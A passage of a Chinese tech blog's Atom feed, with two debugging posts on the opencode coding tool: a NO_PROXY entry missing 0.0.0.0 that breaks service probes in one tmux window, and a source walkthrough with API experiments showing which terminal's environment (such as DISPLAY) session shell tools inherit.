&lt;p&gt;本地账户与 Microsoft 在线账户相互独立。即使在线账户丢失，本地用户仍然可以正常本地登录和 SSH 登录。建议保留一个可用的本地管理员账户作为备用，并妥善保管密码。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>NO_PROXY 漏了 0.0.0.0：opencode 只在一个 tmux 窗口启动失败的真凶</title>
        <published>2026-10-09T16:20:00+08:00</published>
        <updated>2026-10-09T16:20:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/10/opencode-noproxy-0000-port-conflict/"/>
        <id>https://vercel.juzhong.asia/2026/10/opencode-noproxy-0000-port-conflict/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/10/opencode-noproxy-0000-port-conflict/">&lt;h2 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h2&gt;
&lt;p&gt;tmux index7 窗口里 &lt;code&gt;opencode -c&lt;&#x2F;code&gt; 启动失败：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Starting background server...
Error: Server process exited with code 1
Error: Managed service port 4096 on 0.0.0.0 is already in use by another process.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;其他窗口全部正常&lt;&#x2F;strong&gt;。daemon 明明活着（&lt;code&gt;&#x2F;api&#x2F;info&lt;&#x2F;code&gt; 1ms 应答 200），客户端却判定服务不存在，
spawn 新进程撞端口。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pai-cha-san-ceng-fan-zhuan&quot;&gt;排查：三层反转&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;第一层：daemon 没病。&lt;&#x2F;strong&gt; 进程活着、监听 4096、探测秒回；版本一致排除 replace 链。
日志里确实有 219 条 &amp;gt;2s 的慢请求（多会话并发），最大 8.1s——差点当成&quot;高负载踩穿探测超时&quot;，
但它解释不了&quot;只有 index7 失败&quot;的确定性。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;第二层：环境对比扑空。&lt;&#x2F;strong&gt; diff 两个窗口 pane 的 &lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;environ&lt;&#x2F;code&gt;，只剩
DISPLAY&#x2F;SSH_CONNECTION 这类 SSH 会话的正常差异。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;第三层：换观测点，实锤。&lt;&#x2F;strong&gt; 关键动作是直接在 index7 里跑诊断：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ opencode service status
stopped                      ← 同一个 daemon，这个窗口认为服务不存在！
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而 &lt;code&gt;&#x2F;proc&#x2F;pid&#x2F;environ&lt;&#x2F;code&gt; 是&lt;strong&gt;进程启动时的快照&lt;&#x2F;strong&gt;，shell 事后 &lt;code&gt;export&lt;&#x2F;code&gt; 的变量根本不在里面。
直接问 shell 本体：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ echo ${http_proxy:-none}
http:&amp;#x2F;&amp;#x2F;192.168.5.244:10808              ← 这个窗口在调试 vless 代理
$ echo $NO_PROXY
localhost,127.0.0.1,::1,127.0.0.0&amp;#x2F;8,10.0.0.0&amp;#x2F;8,172.16.0.0&amp;#x2F;12,192.168.0.0&amp;#x2F;16,100.64.0.0&amp;#x2F;10
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;NO_PROXY&lt;&#x2F;code&gt; 覆盖了 localhost 和一整圈内网段，&lt;strong&gt;唯独没有 &lt;code&gt;0.0.0.0&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;——而 daemon 注册文件里
的 url 恰恰是 &lt;code&gt;http:&#x2F;&#x2F;0.0.0.0:4096&lt;&#x2F;code&gt;（监听地址配了 0.0.0.0 以便 LAN 访问）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yin-guo-lian&quot;&gt;因果链&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;probe fetch http:&amp;#x2F;&amp;#x2F;0.0.0.0:4096&amp;#x2F;api&amp;#x2F;info
  → Bun fetch 尊重 http_proxy，目标主机 &amp;quot;0.0.0.0&amp;quot; 不匹配 NO_PROXY 任何一项
  → 请求丢给 192.168.5.244:10808 的代理入口 → 代理连不了 &amp;quot;0.0.0.0&amp;quot; → 失败
  → ensure 判定服务 missing（daemon 活得好好的）
  → spawn contender → 绑 4096 → EADDRINUSE（撞上健康 daemon）
  → 15s 在位者等待，探测同样走代理失败 → 报错退出
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;修复验证一行搞定：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ export no_proxy=&amp;quot;0.0.0.0,$no_proxy&amp;quot; NO_PROXY=&amp;quot;0.0.0.0,$NO_PROXY&amp;quot;
$ opencode service status
http:&amp;#x2F;&amp;#x2F;0.0.0.0:4096              ← stopped → 健康
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;jiao-xun&quot;&gt;教训&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&#x2F;proc&#x2F;pid&#x2F;environ&lt;&#x2F;code&gt; 是启动快照&lt;&#x2F;strong&gt;——排查&quot;同机不同 shell 行为不一致&quot;，env diff 之外必须
问 shell 本体要当前值。这次差点被它带进死胡同。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;NO_PROXY 是精确字符串匹配，不是网段直觉&lt;&#x2F;strong&gt;——写了一堆 CIDR，偏偏漏了 &lt;code&gt;0.0.0.0&lt;&#x2F;code&gt;
这个特殊地址。代理变量一 export，所有尊重它的 HTTP 客户端（Bun fetch、curl）
都会中招。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;opencode 的一个小坑&lt;&#x2F;strong&gt;：服务注册 url 用的是&lt;strong&gt;绑定地址&lt;&#x2F;strong&gt; &lt;code&gt;0.0.0.0&lt;&#x2F;code&gt;，客户端探测时原样
fetch。归一化成 &lt;code&gt;127.0.0.1&lt;&#x2F;code&gt; 能让所有&quot;localhost 直连&quot;的默认 NO_PROXY 天然免疫——
值得报个 issue。&lt;&#x2F;li&gt;
&lt;li&gt;排查顺序的教训：先验证&quot;故障是否可复现、是否确定性&quot;，再找机制。日志里的 8s 慢请求
是真实存在的干扰项，但&quot;只在一个窗口失败&quot;这个确定性特征从一开始就指向了本地环境。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>opencode 工具执行用谁的 DISPLAY：&quot;哪个终端发起 prompt 就用谁的&quot;对不对</title>
        <published>2026-10-09T14:40:43+08:00</published>
        <updated>2026-10-09T14:40:43+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/10/opencode-tool-env-display/"/>
        <id>https://vercel.juzhong.asia/2026/10/opencode-tool-env-display/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/10/opencode-tool-env-display/">&lt;h2 id=&quot;bei-jing-yi-ge-ji-yi-liang-pian-wen-zhang&quot;&gt;背景：一个记忆，两篇文章&lt;&#x2F;h2&gt;
&lt;p&gt;昨天写了 &lt;a href=&quot;&#x2F;2026&#x2F;10&#x2F;opencode-osc52-clipboard-diagnosis&#x2F;&quot;&gt;SSH + tmux 下 opencode v2 复制静默失效的排查&lt;&#x2F;a&gt;，
结论之一是：&lt;strong&gt;opencode 的剪贴板（OSC52&#x2F;wl-copy）完全在 TUI 客户端进程内执行&lt;&#x2F;strong&gt;，
用客户端终端的环境和 tty，跟 server 无关。&lt;&#x2F;p&gt;
&lt;p&gt;由此引出一个自然的问题，也是我此前的记忆：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果 tool-use 调了 GUI 命令（&lt;code&gt;xdg-open&lt;&#x2F;code&gt;、GUI 程序），用的是&lt;strong&gt;哪个终端&lt;&#x2F;strong&gt;的
&lt;code&gt;DISPLAY&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;WAYLAND_DISPLAY&lt;&#x2F;code&gt;？是&quot;哪个终端发起 prompt 就用哪个终端的&quot;吗？&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这篇文章用四路独立验证回答它。先说结论。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tl-dr&quot;&gt;TL;DR&lt;&#x2F;h2&gt;
&lt;p&gt;记忆&lt;strong&gt;对了一半，触发点记错了&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;机制存在&lt;&#x2F;strong&gt;：v2 确实有&quot;终端环境跟随会话&quot;的设计——TUI 打开&#x2F;创建会话时，把&lt;strong&gt;当前终端的
完整环境&lt;&#x2F;strong&gt;（只剔除两个密码变量）通过 &lt;code&gt;PUT &#x2F;api&#x2F;session&#x2F;:id&#x2F;environment&lt;&#x2F;code&gt; 上传给 server，
该会话之后所有本地 shell 命令都用它作为基础环境。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;触发点不是&quot;每次 prompt&quot;&lt;&#x2F;strong&gt;：上传发生在&lt;strong&gt;打开&#x2F;创建会话&lt;&#x2F;strong&gt;的那一刻，&lt;strong&gt;后打开者覆盖&lt;&#x2F;strong&gt;。
两个终端连同一个会话，谁后打开（或 resume），环境就是谁的。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;执行进程永远在 server&lt;&#x2F;strong&gt;：环境变量只是作为&quot;数据&quot;上传；spawn 子进程、捕获输出、收退出码
都在 daemon 进程里。客户端只出环境，不出执行。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;没上传时回落到 daemon 的环境&lt;&#x2F;strong&gt;：daemon 的环境在&lt;strong&gt;它被启动那一刻&lt;&#x2F;strong&gt;由启动它的终端
&quot;冻结&quot;进来，之后一直不变——哪怕那个终端早关了（daemon 已 detach 被 systemd 收养）。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;ji-zhi-lian-cong-zhong-duan-huan-jing-dao-gong-ju-zi-jin-cheng&quot;&gt;机制链：从终端环境到工具子进程&lt;&#x2F;h2&gt;
&lt;p&gt;代码走读（dev 分支，与 release v2.0.24 行为一致，文末有二进制指纹验证）：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ke-hu-duan-shou-ji-wan-zheng-huan-jing-zhi-cang-liang-ge-mi-ma&quot;&gt;① 客户端收集：完整环境，只藏两个密码&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# packages&amp;#x2F;cli&amp;#x2F;src&amp;#x2F;env.ts:15
export function session() {
  return Object.fromEntries(
    Object.entries(process.env).filter(
      (entry) =&amp;gt; entry[1] !== undefined
        &amp;amp;&amp;amp; entry[0] !== &amp;quot;OPENCODE_PASSWORD&amp;quot; &amp;amp;&amp;amp; entry[0] !== &amp;quot;OPENCODE_SERVER_PASSWORD&amp;quot;,
    ),
  )
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不是白名单——&lt;strong&gt;整个 &lt;code&gt;process.env&lt;&#x2F;code&gt; 原样上传&lt;&#x2F;strong&gt;（含 &lt;code&gt;DISPLAY&lt;&#x2F;code&gt;、&lt;code&gt;WAYLAND_DISPLAY&lt;&#x2F;code&gt;、
&lt;code&gt;SSH_CONNECTION&lt;&#x2F;code&gt;、&lt;code&gt;TMUX&lt;&#x2F;code&gt;……），只剔除两个服务密码变量。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shang-chuan-shi-ji-da-kai-chuang-jian-hui-hua-bu-shi-mei-ci-prompt&quot;&gt;② 上传时机：打开&#x2F;创建会话，不是每次 prompt&lt;&#x2F;h3&gt;
&lt;p&gt;三处调用点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;packages&#x2F;tui&#x2F;src&#x2F;app.tsx:489-499&lt;&#x2F;code&gt;：TUI 的响应式 effect——&lt;strong&gt;每次路由切到某个会话&lt;&#x2F;strong&gt;
（连接已建立、会话已存在）就 &lt;code&gt;PUT &#x2F;api&#x2F;session&#x2F;:id&#x2F;environment&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;packages&#x2F;tui&#x2F;src&#x2F;component&#x2F;prompt&#x2F;index.tsx:1246-1247&lt;&#x2F;code&gt;：新会话第一条消息创建会话后立刻上传；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;packages&#x2F;cli&#x2F;src&#x2F;session-target.ts:76-81&lt;&#x2F;code&gt;：CLI &lt;code&gt;opencode run&lt;&#x2F;code&gt; 选定&#x2F;新建会话后上传
（&lt;code&gt;run.ts:102&lt;&#x2F;code&gt;：托管服务模式传 &lt;code&gt;Env.session()&lt;&#x2F;code&gt;；&lt;code&gt;--server&lt;&#x2F;code&gt; 显式连接时传 &lt;code&gt;undefined&lt;&#x2F;code&gt;——
&lt;strong&gt;连别人的 server 不上传&lt;&#x2F;strong&gt;）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;注意语义：TUI 的 effect 在路由切换时就会重跑，所以两个终端先后打开同一个会话，
&lt;strong&gt;会话环境是后打开者的&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&quot;自动&quot;的边界&lt;&#x2F;strong&gt;：上传是 TUI&#x2F;CLI &lt;strong&gt;会话生命周期&lt;&#x2F;strong&gt;的一部分（打开&#x2F;切换&#x2F;创建&#x2F;恢复时各一次），
&lt;strong&gt;不挂在每次 prompt 提交上&lt;&#x2F;strong&gt;——同一会话里连发十条消息，只有打开会话时那一次 PUT。
两个客户端交替输入也不会来回改写环境：环境始终是&quot;最后打开&#x2F;恢复该会话者&quot;的版本。
裸 API（&lt;code&gt;opencode api&lt;&#x2F;code&gt;、脚本直连 REST）不实现这个生命周期，因此&lt;strong&gt;不发 PUT&lt;&#x2F;strong&gt;——
这正是下文对照组实验的构造方式；对这类调用者，想控制环境就得自己 &lt;code&gt;PUT&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;fu-wu-duan-cun-chu-mei-hui-hua-yi-fen-nei-cun-tai&quot;&gt;③ 服务端存储：每会话一份，内存态&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;packages&#x2F;core&#x2F;src&#x2F;session&#x2F;environment.ts&lt;&#x2F;code&gt;——一个 &lt;code&gt;Map&amp;lt;sessionID, Variables&amp;gt;&lt;&#x2F;code&gt;，
API 端点的自述就很直白：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;PUT &#x2F;api&#x2F;session&#x2F;:sessionID&#x2F;environment&lt;&#x2F;code&gt; — &lt;strong&gt;&quot;Replace the process environment used
by local shell commands for this session.&quot;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;是&lt;strong&gt;整体替换&lt;&#x2F;strong&gt;，不是合并。内存态，server 重启即失（但 TUI 下次打开会话会重新 PUT，所以
日常感知不到）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zi-jin-cheng-huan-jing-he-cheng-session-huan-jing-you-xian-zheng-ti-ding-diao-daemon-huan-jing&quot;&gt;④ 子进程环境合成：session 环境优先，整体顶掉 daemon 环境&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;packages&#x2F;core&#x2F;src&#x2F;shell.ts:258-273&lt;&#x2F;code&gt;（&lt;code&gt;Shell.create&lt;&#x2F;code&gt;，agent 的 shell 工具和用户提交的
shell 都走这里）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;const sessionEnvironment =
  location.workspaceID === undefined &amp;amp;&amp;amp; Schema.is(SessionSchema.ID)(sessionID)
    ? yield* environments.get(sessionID)   &amp;#x2F;&amp;#x2F; 该会话上传过的环境
    : undefined
const invocation = {
  ...
  env: {
    ...(sessionEnvironment ?? process.env),  &amp;#x2F;&amp;#x2F; ← 二选一，session 环境整体顶掉 daemon 环境
    TERM: &amp;quot;xterm-256color&amp;quot;,
    OPENCODE_TERMINAL: &amp;quot;1&amp;quot;,
  },
}
&amp;#x2F;&amp;#x2F; hooks: shell.create.before 再叠加 AGENT=1、OPENCODE=1、OPENCODE_SESSION_ID 等
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;xie-yi-ceng-mei-you-mei-qing-qiu-dai-huan-jing&quot;&gt;⑤ 协议层没有&quot;每请求带环境&quot;&lt;&#x2F;h3&gt;
&lt;p&gt;v2 协议里 client → server 的自定义 header 只有路由用的 &lt;code&gt;x-opencode-directory&lt;&#x2F;code&gt; &#x2F;
&lt;code&gt;x-opencode-workspace&lt;&#x2F;code&gt; 和 PTY 的 &lt;code&gt;x-opencode-ticket&lt;&#x2F;code&gt;——&lt;strong&gt;没有随请求透传环境的通道&lt;&#x2F;strong&gt;。
环境是会话属性，不是请求属性。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yan-zheng-ju-zhen-si-lu-du-li-zheng-ju&quot;&gt;验证矩阵：四路独立证据&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;yan-zheng-yi-huo-ti-dui-zhao-daemon-de-huan-jing-wo-de-zhong-duan-huan-jing&quot;&gt;验证一：活体对照——daemon 的环境 ≠ 我的终端环境&lt;&#x2F;h3&gt;
&lt;p&gt;这台机器上正跑着一个 daemon（今天 13:03 由某次 SSH 启动），直接读它的进程环境：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ tr &amp;#x27;\0&amp;#x27; &amp;#x27;\n&amp;#x27; &amp;lt; &amp;#x2F;proc&amp;#x2F;&amp;lt;daemon_pid&amp;gt;&amp;#x2F;environ | grep -E &amp;#x27;^(DISPLAY|SSH_CONNECTION)=&amp;#x27;
SSH_CONNECTION=192.168.7.99 36964 192.168.5.68 22
DISPLAY=localhost:10.0

$ env | grep -E &amp;#x27;^(DISPLAY|SSH_CONNECTION)=&amp;#x27;      # 我当前发起命令的终端
SSH_CONNECTION=192.168.5.244 58170 192.168.5.68 22
DISPLAY=localhost:11.0

$ ps -o ppid= -p &amp;lt;daemon_pid&amp;gt;   # 父进程
      1 &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;systemd    # 已 detach，被 systemd 收养
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;daemon 的 X11 转发是 &lt;code&gt;localhost:10.0&lt;&#x2F;code&gt;、来自 &lt;code&gt;192.168.7.99&lt;&#x2F;code&gt; 那次连接；我现在用的终端是
&lt;code&gt;localhost:11.0&lt;&#x2F;code&gt;、来自 &lt;code&gt;192.168.5.244&lt;&#x2F;code&gt;。&lt;strong&gt;如果&quot;哪个终端发起 prompt 就用谁的&quot;为真，
这两组值应该一致——它们不一致&lt;&#x2F;strong&gt;。daemon 冻结的是它启动者的环境，与后来的 prompt 发起者无关。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yan-zheng-er-duan-dao-duan-shi-yan-session-huan-jing-zheng-ti-ding-diao-daemon-huan-jing&quot;&gt;验证二：端到端实验——session 环境整体顶掉 daemon 环境&lt;&#x2F;h3&gt;
&lt;p&gt;不用模型，直接走 API（&lt;code&gt;opencode api&lt;&#x2F;code&gt;，与服务相同的发现&#x2F;认证链路）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 建会话
$ opencode api post &amp;#x2F;api&amp;#x2F;session --data &amp;#x27;{&amp;quot;title&amp;quot;:&amp;quot;blog-env-probe&amp;quot;}&amp;#x27;
{&amp;quot;data&amp;quot;:{&amp;quot;id&amp;quot;:&amp;quot;ses_ee09d77c7ffeYG7RWAWnim4956&amp;quot;, ...}}

# 2. 注入一个假 DISPLAY（daemon 里明明是 localhost:10.0）
$ opencode api put &amp;#x2F;api&amp;#x2F;session&amp;#x2F;$SID&amp;#x2F;environment \
    --data &amp;#x27;{&amp;quot;variables&amp;quot;:{&amp;quot;DISPLAY&amp;quot;:&amp;quot;localhost:99.9&amp;quot;,&amp;quot;WAYLAND_DISPLAY&amp;quot;:&amp;quot;wayland-fake-probe&amp;quot;,
                          &amp;quot;OPENCODE_BLOG_PROBE&amp;quot;:&amp;quot;injected-by-put-environment&amp;quot;}}&amp;#x27;

# 3. 让 server 跑一条 shell（session shell，后台执行）
$ opencode api post &amp;#x2F;api&amp;#x2F;session&amp;#x2F;$SID&amp;#x2F;shell --data &amp;#x27;{&amp;quot;command&amp;quot;:
    &amp;quot;echo PROBE=$OPENCODE_BLOG_PROBE; echo DISPLAY=$DISPLAY; echo PPID_CMD=$(cat &amp;#x2F;proc&amp;#x2F;$PPID&amp;#x2F;comm)&amp;quot;}&amp;#x27;

# 4. 读回输出
PROBE=injected-by-put-environment
DISPLAY=localhost:99.9          ← 假值生效，daemon 的 10.0 被整体顶掉
PPID_CMD=opencode               ← 父进程是 server（执行在 daemon，不在任何终端）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;yan-zheng-san-dui-zhao-zu-bu-shang-chuan-jiu-yong-daemon-dong-jie-huan-jing&quot;&gt;验证三：对照组——不上传就用 daemon 冻结环境&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 新建会话，不做 PUT，直接跑同样的命令
DISPLAY=localhost:10.0           ← daemon 的（启动者 192.168.7.99 那次连接的）
WAYLAND_DISPLAY=wayland-2n9NQAWY
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;两个实验并排，二选一的 &lt;code&gt;sessionEnvironment ?? process.env&lt;&#x2F;code&gt; 分支被实测坐实。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yan-zheng-si-release-er-jin-zhi-zhi-wen&quot;&gt;验证四：release 二进制指纹&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ for s in &amp;quot;session.environment&amp;quot; &amp;quot;OPENCODE_TERMINAL&amp;quot;; do echo -n &amp;quot;$s: &amp;quot;; grep -ac &amp;quot;$s&amp;quot; ~&amp;#x2F;.opencode&amp;#x2F;bin&amp;#x2F;opencode; done
session.environment: 7
OPENCODE_TERMINAL: 3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;机制不是 dev 分支的新玩具，v2.0.24 release 二进制里就在。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hui-da-zui-chu-de-liang-ge-wu-jie&quot;&gt;回答最初的两个误解&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;&quot;客户端负责调用&quot;？&lt;&#x2F;strong&gt; 昨天那篇文章的准确结论是：&lt;strong&gt;剪贴板&lt;&#x2F;strong&gt;（OSC52 序列、wl-copy 子进程）
在客户端进程执行——因为它要写客户端的 tty。而 &lt;strong&gt;tool-use 恰恰相反&lt;&#x2F;strong&gt;：执行进程是 server 的
子进程（实验里 &lt;code&gt;PPID_CMD=opencode&lt;&#x2F;code&gt;）。客户端把环境变量&lt;strong&gt;作为数据&lt;&#x2F;strong&gt;上传给 server，仅此而已。
这是同一条客户端-服务端分界线的两层：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;能力&lt;&#x2F;th&gt;&lt;th&gt;归属&lt;&#x2F;th&gt;&lt;th&gt;用谁的环境&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;剪贴板（OSC52 &#x2F; wl-copy）&lt;&#x2F;td&gt;&lt;td&gt;客户端进程&lt;&#x2F;td&gt;&lt;td&gt;客户端终端的 tty 与环境&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;tool-use（shell 命令、GUI 程序）&lt;&#x2F;td&gt;&lt;td&gt;server 进程&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;session 环境&lt;&#x2F;strong&gt;（上传者），未上传则 daemon 冻结环境&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;MCP stdio &#x2F; LSP&lt;&#x2F;td&gt;&lt;td&gt;server 进程&lt;&#x2F;td&gt;&lt;td&gt;daemon 环境（不走 session 环境通道）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;&quot;哪个终端发起 prompt 就用谁的&quot;？&lt;&#x2F;strong&gt; 精确版是：&lt;strong&gt;哪个终端（后）打开&#x2F;创建了这个会话，
就用谁的&lt;&#x2F;strong&gt;——粒度是会话，不是 prompt；方向是上传环境变量，不是远程执行。
多客户端连同一会话时（web + CLI），谁后打开谁的环境生效，Web 端（浏览器，无终端环境）
不上传、只渲染；执行进程始终是同一个 server。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong-jian-yi&quot;&gt;实用建议&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SSH 断线重连 &#x2F; waypipe socket 换了&lt;&#x2F;strong&gt;：daemon 里冻结的环境已死。在 TUI 里重新打开一下
会话（触发重新 PUT）即可刷新；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;想让 daemon 有稳定的 GUI 基线环境&lt;&#x2F;strong&gt;：&lt;code&gt;opencode service set env DISPLAY ...&lt;&#x2F;code&gt; +
&lt;code&gt;opencode service restart&lt;&#x2F;code&gt;（service 配置的 &lt;code&gt;env&lt;&#x2F;code&gt; 会在 daemon spawn 时合并进环境）；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;API 直连 &#x2F; &lt;code&gt;--server&lt;&#x2F;code&gt; 模式&lt;&#x2F;strong&gt;：客户端不上传环境，工具用的是 daemon 环境——脚本化使用时
留意；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;别指望会话环境跨 server 重启存活&lt;&#x2F;strong&gt;：它是内存态，重开后由 TUI 重新上传。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;主张&lt;&#x2F;th&gt;&lt;th&gt;验证角度&lt;&#x2F;th&gt;&lt;th&gt;结果&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;终端环境会上传为 session 环境&lt;&#x2F;td&gt;&lt;td&gt;代码走读（env.ts &#x2F; app.tsx &#x2F; session-target.ts）&lt;&#x2F;td&gt;&lt;td&gt;✅ 完整环境，仅剔除两个密码变量&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;触发点是打开&#x2F;创建会话，非每次 prompt&lt;&#x2F;td&gt;&lt;td&gt;app.tsx 响应式 effect + 路由切换语义&lt;&#x2F;td&gt;&lt;td&gt;✅ 后打开者覆盖&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;session 环境&lt;strong&gt;整体替换&lt;&#x2F;strong&gt; daemon 环境&lt;&#x2F;td&gt;&lt;td&gt;活体实验：假 DISPLAY=99.9 生效&lt;&#x2F;td&gt;&lt;td&gt;✅ daemon 的 10.0 被顶掉&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;执行进程在 server&lt;&#x2F;td&gt;&lt;td&gt;实验输出 &lt;code&gt;PPID_CMD=opencode&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;✅ 与任何终端无关&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;未上传时回落 daemon 冻结环境&lt;&#x2F;td&gt;&lt;td&gt;对照组 + &lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;environ&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;✅ 与当前终端不一致（10.0 vs 11.0）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;协议层无每请求环境透传&lt;&#x2F;td&gt;&lt;td&gt;protocol headers 审计&lt;&#x2F;td&gt;&lt;td&gt;✅ 只有 directory&#x2F;workspace&#x2F;ticket&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
